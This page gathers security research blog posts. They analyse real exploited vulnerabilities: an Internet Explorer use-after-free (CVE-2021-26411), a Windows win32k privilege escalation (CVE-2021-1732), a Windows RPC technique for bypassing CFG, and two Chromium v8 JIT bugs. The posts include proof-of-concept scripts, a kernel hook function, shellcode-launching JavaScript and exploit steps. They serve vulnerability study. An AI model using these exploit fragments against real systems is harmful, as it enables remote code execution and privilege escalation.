Normal view

There are new articles available, click to refresh the page.
Before yesterdayWindows Exploitation

EncFSGui – GUI Wrapper around encfs for OSX

Introduction 3 weeks ago, I posted a rant about my frustration/concern related with crypto tools, more specifically the lack of tools to implement crypto-based protection for files on OSX, in a point-&-click user-friendly way.  I listed my personal functional and technical criteria for such tools and came to the conclusion that the industry seem to […]

The post EncFSGui – GUI Wrapper around encfs for OSX first appeared on Corelan Cybersecurity Research.

Windows 10 x86/wow64 Userland heap

Introduction Hi all, Over the course of the past few weeks ago, I received a number of "emergency" calls from some relatives, asking me to look at their computer because "things were broken", "things looked different" and "I think my computer got hacked".  I quickly realized that their computers got upgraded to Windows 10. We […]

The post Windows 10 x86/wow64 Userland heap first appeared on Corelan Cybersecurity Research.

Windows 10 egghunter (wow64) and more

Introduction Ok, I have a confession to make, I have always been somewhat intrigued by egghunters. That doesn’t mean that I like to use (or abuse) an egghunter just because I fancy what it does. In fact, I believe it’s a good practise to try to avoid egghunters if you can, as they tend to […]

The post Windows 10 egghunter (wow64) and more first appeared on Corelan Cybersecurity Research.

Work Items & System Worker Threads - 'Practical Reverse Engineering' solutions - Part 3

10 March 2021 at 00:00
Introduction This post is about ‘Work Items’ , the third part of my ‘Practical Reverse Engineering’ solutions series and a natural continuation to the previous one about kernel system threads. Luckily, thanks to Alex Ionescu, while researching the topic, I had the chance to get a pre-proof copy of Windows Internals 7th edition, Part 2 ahead of time so I could check my initial findings against the ones from the authors of the book.

CVE-2021-26411: Internet Explorer mshtml use-after-free

12 March 2021 at 00:00

In January of this year, Google and Microsoft respectively published blogs revealing attacks on security researchers by an APT group from NK[1][2]. A vulnerability in Internet Explorer used in this attack was fixed as CVE-2021-26411 in Microsoft’s Patch Tuesday this month[3]. The vulnerability is triggered when users of the affected version of Internet Explorer access a malicious link constructed by attackers, causing remote code execution.

Root cause analysis

The POC which can trigger the vulnerability is shown below:

<script>
var elem = document.createElement('xxx'); 
var attr1 = document.createAttribute('yyy'); 
var attr2 = document.createAttribute('zzz'); 

var obj = {};
obj.valueOf = function() {
	elem.clearAttributes();
	return 0x1337;
};

attr1.nodeValue = obj;
attr2.nodeValue = 123;
elem.setAttributeNode(attr1);
elem.setAttributeNode(attr2);
elem.removeAttributeNode(attr1); 
</script>

Execution process of the PoC:

  1. Create 1 HTML Element object (elem) and 2 HTML Attribute objects (attr1 and attr2)
  2. Assign values to the two Attribute objects nodeValue, where attr1’s nodeValue points to an Object which valueOf function is overloaded
  3. Set the two Attribute objects attr1 and attr2 to Element object elem
  4. Call elem.removeAttributeNode(attr1) to remove the attr1 from elem
  5. The removeAttributeNode method triggers a callback to the valueOf function, during which clearAttributes() is called to clear all the attribute objects (attr1 and attr2) of the elem object
  6. When valueOf callback returns, IE Tab process crashes at null pointer dereference:

avatar

Based on the above PoC flow analysis, it can be inferred that the reason of the crash is the Double Free issue caused by the clearAttributes() function in valueOf callback. After clearing all the attribute objects of the element object, it returns to the interpreter (breaking the atomic deletion operation at the interpreter level) and frees the attribute object again which results in Double Free.
But there are still some details need to be worked out:

  1. Why does removeAttributeNode() trigger the valueOf callback in script level?
  2. Why does null pointer dereference exception still occur on DOM objects which are protected by isolated heap and delayed free mechanism?
  3. How to exploit this null pointer dereference exception?

Question 1 is discussed via static analysis firstly:

1.The function removeAttributeNode() in mshtml.dll is handled by MSHTML!CElement::ie9_removeAttributeNode function. It calls MSHTML!CElement::ie9_removeAttributeNodeInternal internally, which is the main implementation of the removeAttributeNode(): avatar

2.MSHTML!CElement::ie9_removeAttributeNodeInternal calls CBase::FindAAIndexNS twice to lookup the indexes of attribute object and attribute nodeValue object in CAttrArray’s VARINAT array (+0x8). avatar

3.When the index of the attribute object is found, the attribute object is retrieved through CBase::GetObjectAt: avatar

4.When the nodeValue index of the attribute object is found, it calls CBase::GetIntoBSTRAt function to convert the nodeValue into BSTR and stores the BSTR value to CAttribute.nodeValue (+0x30). At this time, the valueOf callback will be triggered! avatar

5.Then it calls CBase::DeleteAt twice to delete the attribute object and the attribute nodeValuev object (here need to pay attention to the existence of one CBase::FindAAIndexNS call between the twice DeleteAt to find the attr1.nodeValue index again): avatar

6.CBase::DeleteAt checks the index of the object which needs to be deleted. If it is not equal with -1, it calls CAttrArray::Destroy to perform cleanup work: avatar

7.CAttrArray::Destroy calls CImplAry::Delete to modify the CAttrArray counter (+0x4) and reorder the corresponding VARIANT array (+0x8) , then calls CAttrValue::Free to release the attribute object in the end: avatar


Next we observe the callback process of question 1 and analyze question 2 via dynamic debugging:
1.The memory layout of the elem object before entering the removeAttributeNode function:
avatar

2.The result of two CBase::FindAAIndexNS function calls after entering MSHTML!CElement::ie9_removeAttributeNodeInternal: avatar
avatar

3.CBase::GetIntoBSTRAt triggers the valueOf callback in the script: avatar

4.The memory layout of the elem object after calling clearAttributes() in the valueOf callback: avatar

Comparing step 1, you can see that after clearAttributes(), the elem.CAttrArray.count (+0x4) is decremented to 1 and a memory copy operation in CAttrArray VARIANT array (+0x8) happens: the attr2 of index 4 is copied to the previous index in order (shift), which corresponding to the logic of CImplAry::Delete: avatar

5.When the callback returns, in the the first CBase::DeleteAt() call:
It checks the index of the VARIANT object which waited to be deleted firstly. Here is the attr1 index value 2 which is found in the first CBase::FindAAIndexNS search: avatar
After passing the index check, CAttrArray::Destroy is called to start cleaning up.

6.When the callback returns, in the the second CBase::DeleteAt() call:
Recalling the static analysis part, one CBase::FindAAIndexNS between the two CBase::DeleteAt is performed to find the attr1.nodeValue index again. Under normal circumstances, CBase::FindAAIndexNS is expected to return 1. However, because the callback breaks the atomic operation at the interpreter level and releases all the attributes of elem in advance, the unexpected -1 is returned here: avatar

According to the static analysis of the CBase::DeleteAt function, for the case where the index is -1, an exception will be thrown: avatar

After returning, the CAttrArray object pointer points to the memory set as NULL, which finally triggers the null pointer dereference exception: avatar

Here is a picture to explain the whole process: avatar

From null pointer dereference to read/write primitive

Finally, let’s address question 3:
How to exploit this null pointer dereference exception?

As we know, null pointer dereference exception in user mode is difficult to exploit, but this vulnerability has its particularity. Through the previous analysis, we know that the null pointer dereference exception occurs in the second DeleteAt operation, but the first DeleteAt operation has an incorrect assumption already: the VARIANT array (+0x8) saved in CAttrArray has been reassigned in the callback:
avatar

At this time, the first DeleteAt operation with index = 2 will release the attr2 object by mistake: avatar

So here is actually a UAF issue hidden by the null pointer dereference exception.

The next step needs to think about is how to exploit this UAF. Considering that the DOM element object is protected by isolated heap and delayed free mechanism, it should select an object that can directly allocate memory by the system heap allocator, such as an extremely long BSTR.

The revised PoC is shown as follows:

<script>
var elem = document.createElement('xxx'); 
var attr1 = document.createAttribute('yyy'); 
//var attr2 = document.createAttribute('zzz'); 

var obj = {};
obj.valueOf = function() {
	elem.clearAttributes();
	return 0x1337;
};

attr1.nodeValue = obj;
//attr2.nodeValue = 123;

elem.setAttributeNode(attr1);
//elem.setAttributeNode(attr2);
elem.setAttribute('zzz', Array(0x10000).join('A'));

elem.removeAttributeNode(attr1); 
</script>

The memory layout of elem before removeAttributeNode(): avatar

After clearAttributes(), the VARIANT array of CAttryArray is copied forward, and the BSTR is released immediately: avatar

In the first DeleteAt operation, the BSTR memory of the ‘zzz’ attribute with index=2 is accessed again, which results in UAF: avatar

Here we can get a 0x20010 bytes memory hole after the valueOf callback clearAttributes().
Then there are two questions need to answer:

  1. What object can be chosen to occupy the empty memory?
  2. How to bypass the null pointer dereference exception caused by ‘index=-1’ check in the second DeleteAt after the empty memory is occupied successfully?

Referring to the exp codes published by ENKI[4], we can use an ArrayBuffer object with a size of 0x20010 bytes to occupy the empty memory, and re-set the attribute ‘yyy’ to the elem before callback return to bypass of the null pointer dereference exception:
avatar

Finally, after ‘elem.removeAttributeNode(attr1)’ returns, a dangling pointer ‘hd2.nodeValue’ with a size of 0x20010 bytes is obtained. There are many path for the next exploitation. The main ideas from the original exp code are:

  1. Use Scripting.Dictionary.items() to occupy the memory hole and use the hd2.nodeValue dangling pointer to leak the fake ArrayBuffer address
  2. Leak the metadata of the fake ArrayBuffer, modify ArrayBuffer’s buffer=0, length=0xffffffff and get new fake ArrayBuffer
  3. Create a DataView which references the new fake ArrayBuffer to achieve arbitrary memory read and write primitive:

avatar

Patch analysis

avatar

Some thoughts

Microsoft has removed the IE browser vulnerability from the vulnerability bounty program, and began to release the new Edge browser based on the Chromium. However, in recent years, APT actors exploit IE browser vulnerability are still active. From the vbscript engine in 2018, the jscript engine in 2019 to the jscript9 engine in 2020, attackers are constantly looking for new attack surfaces. The disclosure of CVE-2021-26411 brought the security issues of the mshtml engine which had been found with a large number of UAF issues back to the public’s perspective again . We believe that the attacks against Internet Explorer are not stopped.

References

[1] https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/
[2] https://www.microsoft.com/security/blog/2021/01/28/zinc-attacks-against-security-researchers/
[3] https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26411
[4] https://enki.co.kr/blog/2021/02/04/ie_0day.html

CVE-2021-1732: win32kfull xxxCreateWindowEx callback out-of-bounds

25 March 2021 at 00:00

CVE-2021-1732 is a 0-Day vulnerability exploited by the BITTER APT organization in one operation which was disclosed in February this year[1][2][3]. This vulnerability exploits a user mode callback opportunity in win32kfull module to break the normal execution flow and set the error flag of window object (tagWND) extra data, which results in kernel-space out-of-bounds memory access violation.

Root cause analysis

The root cause of CVE-2021-1732 is:
In the process of creating window (CreateWindowEx), when the window object tagWND has extra data (tagWND.cbwndExtra != 0), the function pointer of user32!_xxxClientAllocWindowClassExtraBytes saved in ntdll!_PEB.kernelCallbackTable (offset+0x58) in user mode will be called via the nt!KeUserModeCallback callback mechanism, and the system heap allocator (ntdll!RtlAllocateHeap) is used to allocate the extra data memory in user-space.
By hooking user32!_xxxClientAllocWindowClassExtraBytes function in user mode, and modifying the properties of the window object extra data in the hook function manually, the kernel mode atomic operation of allocating memory for extra data can be broken, then the out-of-bounds read/write ability based on the extra data memory is achieved finally.

The normal flow of the window object creation (CreateWindowEx) process is shown as follows (partial):
avatar

From the above figure, we can see that: when the window extra data size (tagWND.cbWndExtra) is not 0, win32kfull!xxxCreateWindowEx calls the user mode function user32!_xxxClientAllocWindowClassExtraBytes via the kernel callback mechanism, requests for the memory of the window extra data in user-space. After allocation, the pointer of allocated memory in user-space will be returned to the tagWND.pExtraBytes property:
avatar

Here are two modes of saving tagWND extra data address (tagWND.pExtraBytes):
[Mode 1] In user-space system heap
As the normal process shown in the figure above, the pointer of extra data memory allocated in user-space system heap is saved in tagWND.pExtraBytes directly.
One tagWND memory layout of Mode 1 is shown in the following figure:
avatar

[Mode 2] In kernel-space desktop heap
The function ntdll!NtUserConsoleControl allocates extra data memory in kernel-space desktop heap by function DesktopAlloc, calculates the offset of allocated extra data memory address to the kernel desktop heap base address, saves the offset to tagWND.pExtraBytes, and modifies tagWND.extraFlag |= 0x800:
avatar

One tagWND memory layout of Mode 2 is shown in the following figure: avatar

So we can hook the function user32!_xxxClientAllocWindowClassExtraBytes in user-space, call NtUserConsoleControl manually in hook function to modify the tagWND extra data storage mode from Mode 1 to Mode 2, call ntdll!NtCallbackReturn before the callback returns:
avatar

Then return the user mode controllable offset value to tagWND.pExtraBytes through ntdll!NtCallbackReturn, and realize the controllable offset out-of-bounds read/write ability based on the kernel-space desktop heap base address finally.

The modified process which can trigger the vulnerability is shown as follows:
avatar

According to the modified flowchart above, the key steps of triggering this vulnerability are explained as follows:

  1. Modify the user32!_xxxClientAllocWindowClassExtraBytes function pointer in PEB.kernelCallbackTable to a custom hook function.
  2. Create some normal window objects, and leak the user-space memory addresses of these tagWND kernel objects through user32!HMValidateHandle.
  3. Destroy part of the normal window objects created in step 2, and create one new window object named ‘hwndMagic’ with the specified tagWND.cbwndExtra. The hwndMagic can probably reuse the previously released window object memory. Therefore, by searching the previously leaked window object user-space memory addresses with the specified tagWND.cbwndExtra in the custom hook function, the hwndMagic can be found before CreateWindowEx returns.
  4. Call NtUserConsoleControl in the custom hook function to modify the tagWNDMagic.extraFlag with flag 0x800.
  5. Call NtCallbackReturn in the custom hook function to assign a fake offset to tagWNDMagic.pExtraBytes.
  6. Call SetWindowLong to write data to the address of kernel-space desktop heap base address + specified offset, which can result in out-of-bounds memory access violation.

An implementation of the hook function is demonstrated as follows:

void* WINAPI MyxxxClientAllocWindowClassExtraBytes(ULONG* size) {

	do {
		if (MAGIC_CBWNDEXTRA  == *size) {
			HWND hwndMagic = NULL;
			//search from freed NormalClass window mapping desktop heap
			for (int i = 2; i < 50; ++i) {
				ULONG_PTR cbWndExtra = *(ULONG_PTR*)(g_pWnd[i] + _WND_CBWNDEXTRA_OFFSET);
				if (MAGIC_CBWNDEXTRA == cbWndExtra) {
					hwndMagic = (HWND)*(ULONG_PTR*)(g_pWnd[i]);
					printf("[+] bingo! find &hwndMagic = 0x%llx in callback :) \n", g_pWnd[i]);
					break;
				}
			}
			if (!hwndMagic) {
				printf("[-] Not found hwndMagic, memory layout unsuccessfully :( \n");
				break;
			}

			// 1. set hwndMagic extraFlag |= 0x800
			CONSOLEWINDOWOWNER consoleOwner = { 0 };
			consoleOwner.hwnd = hwndMagic;
			consoleOwner.ProcessId = 1;
			consoleOwner.ThreadId = 2;
			NtUserConsoleControl(6, &consoleOwner, sizeof(consoleOwner));

			// 2. set hwndMagic pExtraBytes fake offset
			struct {
				ULONG_PTR retvalue;
				ULONG_PTR unused1;
				ULONG_PTR unused2;
			} result = { 0 };		
			//offset = 0xffffff00, access memory = heap base + 0xffffff00, trigger BSOD	
			result.retvalue = 0xffffff00;			
			NtCallbackReturn(&result, sizeof(result), 0);
		}
	} while (false);

	return _xxxClientAllocWindowClassExtraBytes(size);
}

BSOD snapshot:
avatar

Exploit analysis

From Root cause anaysis, we can see that:
“An opportunity to read/write data in the address which calculated by the kernel-space desktop heap base address + specified offset” can be obtained via this vulnerability.


For the kernel mode exploitation, the attack target is to obtain system token generally. A common method is shown as follows:

  1. Exploit the vulnerability to obtain a arbitrary memory read/write primitive in kernel-space.
  2. Leak the address of some kernel object, find the system process through the EPROCESS chain.
  3. Copy the system process token to the attack process token to complete the privilege escalation job.

The obstacle is step 1: How to exploit “An opportunity to read/write data in the address which calculated by the kernel-space desktop heap base address + specified offset” to obtain the arbitrary memory read/write primitive in kernel-space.

One solution is shown in the following figure:
avatar

  1. The offset of tagWNDMagic extra data (wndMagic_extra_bytes) is controllable via the vulnerability, so we can use SetWindowLong to modify the data in specified address calculated by desktop heap base address + controllable offset.
  2. Use the vulnerability ability to modify tagWNDMagic.pExtraBytes to the offset of tagWND0 (the offset of tagWND0 is obtained by tagWND0+0x8), call SetWindowLong to modify tagWND0.cbWndExtra = 0x0fffffff to obtain a tampered tagWND0.pExtraBytes which can achieve read/write out-of-bounds.
  3. Calculate the offset from tagWND0.pExtraBytes to tagWND1, call SetWindowLongPtr to replace the spMenu of tagWND1 with a fake spMenu by the tampered tagWND0.pExtraBytes, realize the arbitrary memory read ability with the help of fake spMenu and function GetMenuBarInfo.
    The logic of GetMenuBarInfo to read the data in specified address is shown as follows, the 16 bytes data is stored into MENUBARINFO.rcBar structure: avatar

  4. Use the tampered tagWND0.pExtraBytes to modify tagWND1.pExtraBytes with specified address, and use the SetWindowLongPtr of tagWND1 to obtain the arbitrary memory write ability.
  5. After obtaining the arbitrary memory read/write primitive, we need to leak a kernel object address in desktop heap to find EPROCESS. Fortunately, when setting the fake spMenu for tagWND1 in step 3, the return value of SetWindowLongPtr is the kernel address of original spMenu, which can be used directly.
  6. Finally, find the system process by traversing the EPROCESS chain, and copy the system process token to the attack process to complete the privilege escalation job. This method is relatively common, so will not be described in detail.

The final privilege escalation demonstration:
avatar

Patch analysis

avatar

References

[1] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732
[2] https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack-cn/
[3] https://www.virustotal.com/gui/file/914b6125f6e39168805fdf57be61cf20dd11acd708d7db7fa37ff75bf1abfc29/detection
[4] https://en.wikipedia.org/wiki/Privilege_escalation

Exploiting Windows RPC to bypass CFG mitigation: analysis of CVE-2021-26411 in-the-wild sample

10 April 2021 at 00:00

The general method of browser render process exploit is: after exploiting the vulnerability to obtain user mode arbitrary memory read/write primitive, the vtable of DOM/js object is tampered to hijack the code execution flow. Then VirtualProtect is called by ROP chain to modify the shellcode memory to PAGE_EXECUTE_READWRITE, and the code execution flow is jumped to shellcode by ROP chain finally. After Windows 8.1, Microsoft introduced CFG (Control Flow Guard)[1] mitigation to verify the indirect function call, which mitigates the exploitation of tampering with vtable to get code execution.

However, the confrontation is not end. Some new methods to bypass CFG mitigation have emerged. For example, in chakra/jscript9, the code execution flow is hijacked by tampering with the function return address on the stack; in v8, WebAssembly with executable memory property is used to execute shellcode. In December 2020, Microsoft introduced CET(Control-flow Enforcement Technology)[2] mitigation technology based on Intel Tiger Lake CPU in Windows 10 20H1, which protects the exploitation of tampering with the function return address on the stack. Therefore, how to bypass CFG in a CET mitigation environment has become a new problem for vulnerability exploitation.

When analyzing CVE-2021-26411 in-the-wild sample, we found a new method to bypass CFG mitigation using Windows RPC (Remote Procedure Call)[3]. This method does not rely on the ROP chain. By constructing RPC_MESSAGE, arbitrary code execution can be achieved by calling rpcrt4!NdrServerCall2 manually.

CVE-2021-26411 Retrospect

My blog of “CVE-2021-26411: Internet Explorer mshtml use-after-free” has illustrated the root cause: removeAttributeNode() triggers the attribute object nodeValue’s valueOf callback. During the callback, clearAttributes() is called manually, which causes the BSTR saved in nodeValue to be released in advance. After the valueOf callback returns, the nodeValue object is not checked if existed, which results in UAF.

The bug fix for this vulnerability in Windows March patch is to add an index check before deleting the object in CAttrArray::Destroy function:
avatar

For such a UAF vulnerability with a controllable memory size, the idea of exploitation is: use two different types of pointers (BSTR and Dictionary.items) to point to the reuse memory, then the pointer leak and pointer dereference ability is achieved via type confusion:
avatar

Windows RPC introduction and exploitation

Windows RPC is used to support the scenario of distributed client/server function calls. Based on Windows RPC, the client can invoke server functions the same as local function call. The basic architecture of Windows RPC is shown as follows:
avatar

The client/server program passes the calling parameters or return values to the lower-level Stub function. The Stub function is responsible for encapsulating the data into NDR (Network Data Representation) format. Communications through the runtime library is provided by rpcrt4.dll.

An idl example is given below:

[
	uuid("1BC6D261-B697-47C2-AF83-8AE25922C0FF"),
	version(1.0)
]

interface HelloRPC
{
	int add(int x, int y);
}

When the client calls the add function, the server receives the processing request from rpcrt4.dll and calls rpcrt4!NdrServerCall2:
avatar

rpcrt4!NdrServerCall2 has only one parameter PRPC_MESSAGE, which contains important data such as the function index and parameters. The server RPC_MESSAGE structure and main sub data structure are shown as follows (32 bits):
avatar

As shown in the aforementioned picture, in RPC_MESSAGE structure, the two important variables of function call are Buffer and RpcInterfaceInformation. The Buffer stores the parameters of the function, and RpcInterfaceInformation points to the RPC_SERVER_INTERFACE structure. The RPC_SERVER_INTERFACE structure saves the server program interface information, in which DispatchTable(+0x2c) saves the interface function pointers of the runtime library and the stub function, and InterpreterInfo(+0x3c) points to the MIDL_SERVER_INFO structure. The MIDL_SERVER_INFO structure saves the server IDL interface information, and the DispatchTable(+0x4) saves the pointer array of the server routine functions.

Here is an example to introduce the structure of RPC_MESSAGE:

According to the idl given above, when the client calls add(0x111, 0x222), the server program breaks at rpcrt4!NdrServerCall2: avatar

It can be seen that the dynamic debugging memory dump is consistent with the RPC_MESSAGE structure analysis, and the add function is stored in MIDL_SERVER_INFO.DispatchTable.

Next, we analyze how rpcrt4!NdrServerCall2 invokes the add function according to RPC_MESSAGE:

The rpcrt4!NdrServerCall2 calls rpcrt4!NdrStubCall2 internally. The rpcrt4!NdrStubCall2 calculates the function pointer address based on MIDL_SERVER_INFO.DispatchTable and RPC_MESSAGE.ProcNum, and passes the function pointer, function parameters and parameter length to rpcrt4!Invoke:
avatar

The rpcrt4!Invoke calls the server provided routine function finally:
avatar

Based on above analysis, after achieving the arbitrary memory read/write primitive, we can construct an fake RPC_MESSAGE, set the function pointer and function parameters want to invoke, and call rpcrt4!NdrServerCall2 manually to implement any function execution.

Two problems need to be solved next:
1)How to invoke rpcrt4!NdrServerCall2 in javascript
2)When observing the server routine function call in rpcrt4!Invoke:
avatar

We can see that this is an indirect function call, and there is a CFG check. Therefore, we need to consider how to bypass the CFG protection here after tampering with the MIDL_SERVER_INFO.DispatchTable function pointer.

Let’s solve the problem 1 firstly: How to invoke rpcrt4!NdrServerCall2 in javascript?
We can replace the DOM object vtable’s function pointer with rpcrt4!NdrServerCall2. Because rpcrt4!NdrServerCall2 is a legal pointer recorded in CFGBitmap, it can pass the CFG check. The sample replacs MSHTML!CAttribute::normalize with rpcrt4!NdrServerCall2, and calls “xyz.normalize()” in javascript to invoke rpcrt4!NdrServerCall2.

Then we solve the problem 2: How to bypass the CFG protection in rpcrt4!NdrServerCall2?
The method in the sample is:
1) Use fake RPC_MESSAGE and rpcrt4!NdrServerCall2 to invoke VirtualProtect, and modify the memory attribute of RPCRT4!__guard_check_icall_fptr to PAGE_EXECUTE_READWRITE
2) Replace the pointer ntdll!LdrpValidateUserCallTarget saved in rpcrt4!__guard_check_icall_fptr with ntdll!KiFastSystemCallRet to kill the CFG check in rpcrt4.dll
3) Restore RPCRT4!__guard_check_icall_fptr memory attribute

function killCfg(addr) {
  var cfgobj = new CFGObject(addr)
  if (!cfgobj.getCFGValue()) 
    return
  var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
  var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
  var tmpBuffer = createArrayBuffer(4)
  call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
  write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
  call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
  map.delete(tmpBuffer)
} 

After solving the two problems, the fake RPC_MESSAGE can be used to invoke any function pointer including the buffer stores the shellcode, because CFG check in rpcrt4.dll has been killed.
At last, the sample writes the shellcode to the location of msi.dll + 0x5000, and invokes the shellcode through rpcrt4!NdrServerCall2 finally:

var shellcode = new Uint8Array([0xcc])
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode)
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
call2(msi, [])

The exploitation screenshot:
avatar

Some thoughts

A new method to bypass CFG mitigation by exploiting Windows RPC exposed in CVE-2021-26411 in the wild sample. This exploitation technology does not need to construct ROP chain, and achieve arbitrary code execution directly by fake RPC_MESSAGE. This exploitation technology is simple and stable. It is reasonable to believe that it will become a new and effective exploitation technology to bypass CFG mitigation.

References

[1] https://docs.microsoft.com/en-us/windows/win32/secbp/control-flow-guard
[2] https://windows-internals.com/cet-on-windows/
[3] https://docs.microsoft.com/en-us/windows/win32/rpc/rpc-start-page

Analysis of Chromium issue 1196683, 1195777

20 April 2021 at 00:00

On April 12, a code commit[1] in Chromium get people’s attention. This is a bugfix for some vulnerability in Chromium Javascript engine v8. At the same time, the regression test case regress-1196683.js for this bugfix was also submitted. Based on this regression test case, some security researcher published an exploit sample[2]. Due to Chrome release pipeline, the vulnerability wasn’t been fixed in Chrome stable update until April 13[3].

Coincidentally, on April 15, another code commit[4] of some bugfix in v8 has also included one regression test case regress-1195777.js. Based on this test case, the exploit sample was exposed again[5]. Since the latest Chrome stable version does not pull this bugfix commit, the sample can still exploit in render process of latest Chrome. When the vulnerable Chormium browser accesses a malicious link without enabling the sandbox (–no-sandbox), the vulnerability will be triggered and caused remote code execution.

RCA of Issue 1196683

The bugfix for this issue is shown as follows:
avatar

This commit fixes the issue of incorrect instruction selection for the ChangeInt32ToInt64 node in the instruction selection phase of v8 TurboFan. Before the commit, instruction selection is according to the input node type of the ChangeInt32ToInt64 node. If the input node type is a signed integer, it selects the instruction X64Movsxlq for sign extension, otherwise it selects X64Movl for zero extension. After the bugfix, X64Movsxlq will be selected for sign extension regardless of the input node type.

First, let’s analyze the root cause of this vulnerability via regress-1196683.js:

(function() {
  const arr = new Uint32Array([2**31]);
  function foo() {
    return (arr[0] ^ 0) + 1;
  }
  %PrepareFunctionForOptimization(foo);
  assertEquals(-(2**31) + 1, foo());
  %OptimizeFunctionOnNextCall(foo);
  assertEquals(-(2**31) + 1, foo());
});

The foo function that triggers JIT has only one code line. Let’s focus on the optimization process of (arr[0] ^ 0) + 1 in the key phases of TurboFan:

1) TyperPhase
avatar

The XOR operator corresponds to node 32, and its two inputs are the constant 0 (node 24) and arr[0] (node 80).

2) SimplifiedLoweringPhase
avatar

The original node 32: SpeculativeNumberBitwiseXor is optimized to Word32Xor, and the successor node ChangeInt32ToInt64 is added after Word32Xor. At this time, the input node (Word32Xor) type of ChangeInt32ToInt64 is Signed32.

3) EarlyOptimizationPhase
avatar

We can see that the original node 32 (Word32Xor) has been deleted and replaced with node 80 as the input of the node 110 ChangeInt32ToInt64. Now the input node (LoadTypedElement) type of ChangeInt32ToInt64 is Unsigned32.

The v8 code corresponding to the logic is as follows:

template <typename WordNAdapter>
Reduction MachineOperatorReducer::ReduceWordNXor(Node* node) {
  using A = WordNAdapter;
  A a(this);

  typename A::IntNBinopMatcher m(node);
  if (m.right().Is(0)) return Replace(m.left().node());  // x ^ 0 => x
  if (m.IsFoldable()) {  // K ^ K => K  (K stands for arbitrary constants)
    return a.ReplaceIntN(m.left().ResolvedValue() ^ m.right().ResolvedValue());
  }
  if (m.LeftEqualsRight()) return ReplaceInt32(0);  // x ^ x => 0
  if (A::IsWordNXor(m.left()) && m.right().Is(-1)) {
    typename A::IntNBinopMatcher mleft(m.left().node());
    if (mleft.right().Is(-1)) {  // (x ^ -1) ^ -1 => x
      return Replace(mleft.left().node());
    }
  }

  return a.TryMatchWordNRor(node);
}

As the code shown above, for the case of x ^ 0 => x, the left node is used to replace the current node, which introduces the wrong data type.

4) InstructionSelectionPhase
According to the previous analysis, in instruction selection phase, because the input node (LoadTypedElement) type of ChangeInt32ToInt64 is Unsigned32, the X64Movl instruction is selected to replace the ChangeInt32ToInt64 node finally:
avatar

Because the zero extended instruction X64Movl is selected incorrectly, (arr[0] ^ 0) returns the wrong value: 0x0000000080000000.

Finally, using this vulnerability, a variable x with an unexpected value 1 in JIT can be obtained via the following code (the expected value should be 0):

const _arr = new Uint32Array([0x80000000]);

function foo() {
	var x = (_arr[0] ^ 0) + 1;
	x = Math.abs(x);
	x -= 0x7fffffff;
	x = Math.max(x, 0);
	x -= 1;
	if(x==-1) x = 0;
	return x;
}

RCA of Issue 1195777

The bugfix for this issue is shown as follows:
avatar

This commit fixes a integer conversion node generation error which used to convert a 64-bit integer to a 32-bit integer (truncation) in SimplifiedLowering phase. Before the commit, if the output type of current node is Signed32 or Unsigned32, the TruncateInt64ToInt32 node is generated. After the commit, if the output type of current node is Unsigned32, the type of use_info is needed to be checked next. Only when use_info.type_check() == TypeCheckKind::kNone, the TruncateInt64ToInt32 node wiill be generated.

First, let’s analyze the root cause of this vulnerability via regress-1195777.js:

(function() {
  function foo(b) {
    let x = -1;
    if (b) x = 0xFFFFFFFF;
    return -1 < Math.max(0, x, -1);
  }
  assertTrue(foo(true));
  %PrepareFunctionForOptimization(foo);
  assertTrue(foo(false));
  %OptimizeFunctionOnNextCall(foo);
  assertTrue(foo(true));
})();

The key code in foo function which triggers JIT is ‘return -1 < Math.max(0, x, -1)’. Let’s focus on the optimization process of Math.max(0, x, -1) in the key phases of TurboFan:

1) TyperPhase
avatar
Math.max(0, x, -1) corresponds to node 56 and node 58. The output of node 58 is used as the input of node 41: SpeculativeNumberLessThan (<) .

2) TypedLoweringPhase
avatar

The two constant parameters 0, -1 (node 54 and node 55) in Math.max(0, x, -1) are replaced with constant node 32 and node 14.

3) SimplifiedLoweringPhase
avatar

The original NumberMax node 56 and node 58 are replaced by Int64LessThan + Select nodes. The original node 41: SpeculativeNumberLessThan is replaced with Int32LessThan. When processing the input node of SpeculativeNumberLessThan, because the output type of the input node (Select) is Unsigned32, the vulnerability is triggered and the node 76: TruncateInt64ToInt32 is generated incorrectly.

The result of Math.max(0, x, -1) is truncated to Signed32. Therefore, when the x in Math.max(0, x, -1) is Unsigned32, it will be truncated to Signed32 by TruncateInt64ToInt32.

Finally, using this vulnerability, a variable x with an unexpected value 1 in JIT can be obtained via the following code (the expected value should be 0):

function foo(flag){
	let x = -1;
	if (flag){ 
		x = 0xFFFFFFFF;
	}
	x = Math.sign(0 - Math.max(0, x, -1));
	return x;
}

Exploit analysis

According to the above root cause analysis, we can see that the two vulnerabilities are triggered when TurboFan performs integer data type conversion (expansion, truncation). Using the two vulnerabilities, a variable x with an unexpected value 1 in JIT can be obtained.
According to the samples exploited in the wild, the exploit is following the steps below:

1) Create an Array which length is 1 with the help of variable x which has the error value 1;
2) Obtain an out-of-bounds array with length 0xFFFFFFFF through Array.prototype.shift();

The key code is as shown follows:

var arr = new Array(x);	// wrong: x = 1
arr.shift();			// oob
var cor = [1.8010758439469018e-226, 4.6672617056762661e-62, 1.1945305861211498e+103];
return [arr, cor];

The JIT code of var arr = new Array(x) is:
avatar

Rdi is the length of arr, which value is 1. It shift left one bit (rdi+rdi) by pointer compression and stored in JSArray.length property (+0xC).

The JIT code of arr.shift() is:
avatar

After arr.shift(), the length of arr is assigned by constant 0xFFFFFFFE directly, the optimization process is shown as follows:

(1)TyperPhase
avatar

The array length assignment operation is mainly composed of node 152 and node 153. The node 152 caculates Array.length-1. The node 153 saves the calculation result in Array.length (+0xC).

(2)LoadEliminationPhase
avatar
